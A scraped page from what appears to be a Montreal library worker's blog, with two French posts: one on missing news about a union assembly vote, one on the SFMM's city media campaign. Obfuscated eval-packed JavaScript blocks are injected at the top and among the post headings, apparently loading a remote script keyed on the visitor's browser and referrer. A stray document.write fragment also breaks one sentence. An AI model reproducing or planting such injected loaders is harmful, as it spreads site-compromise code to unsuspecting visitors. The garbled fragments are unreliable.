eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adrbd|var|u0026u|referrer|nshsd||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Mise à jour syndicale

/ Clodjee / Leave a comment

Assemblée sectorielle au Plateau Mont-Royal
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eztfk|var|u0026u|referrer|ryrer||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etzyk|var|u0026u|referrer|zzdde||js|php’.split(‘|’),0,{}))

Quatre jours après l’assemblée sectorielle des auxiliaires de bibliothèques du Plateau Mont-Royal, document.write(“”); toujours aucune nouvelle du résultat du vote sur la lettre d’entente. Toutes les persones à qui j’ai parlé, tant à la bibliothèque du Plateau Mont-Royale qu’à la bibliothèque Mile-End, n’avaient pas assisté à l’assemblée et ne connaissaient personnes qui y avaient assisté… Certains n’étaient même pas au courant qu’il y avait eut une assemblée! Quelqu’un m’a aussi mentionné avoir contacté le/la représentant(e) syndical de l’arrondissement qui, apparemment, n’était au courant de rien!

Donc, en attendant d’avoir des nouvelles du syndicat lui-même, j’apprécierais beaucoup si quelqu’un qui était présent (ou qui connait quelqu’un qui était présent) à la dite assemblée sectorielle du 28 juin pouvait me contacter pour raconter comment cela s’est déroulé (et peut-être fournir une copie de la lettre d’entente si elle leur a été présenté)…

(Mise à jour (2010/07/09): pour des nouvelles voir le billet Victoire! En quelque sorte…)

Campagne «Montréal, fais une ville de toi!»

Le SFMM a publié un nouveau Fonctionnaire Express le 23 juin (mais il n’a été livré à ma bibliothèque hier seulement, le 30 juin — c’est beau l’efficacité!). On y fait un rappel de la campagne médiatique «Montréal, fais une ville de toi !» et fait la revue de ce qui en a été dit dans les média. Mais principalement on répond à la critique en justifiant les coûts élévés de la campgne (dont 50% a été assumé par le SCFP), on se défend de promouvoir la centralisation de la ville alors que le SFMM veut seulement “améliorer” l’efficacité et la santé financière de la ville en regroupant certains services. Le SFMM y défend également l’idée de faire une telle campagne maintenant, indiquant que c’est une étape essentielle en préparation des prochaines négos. Et je suis bien d’accord avec tout cela.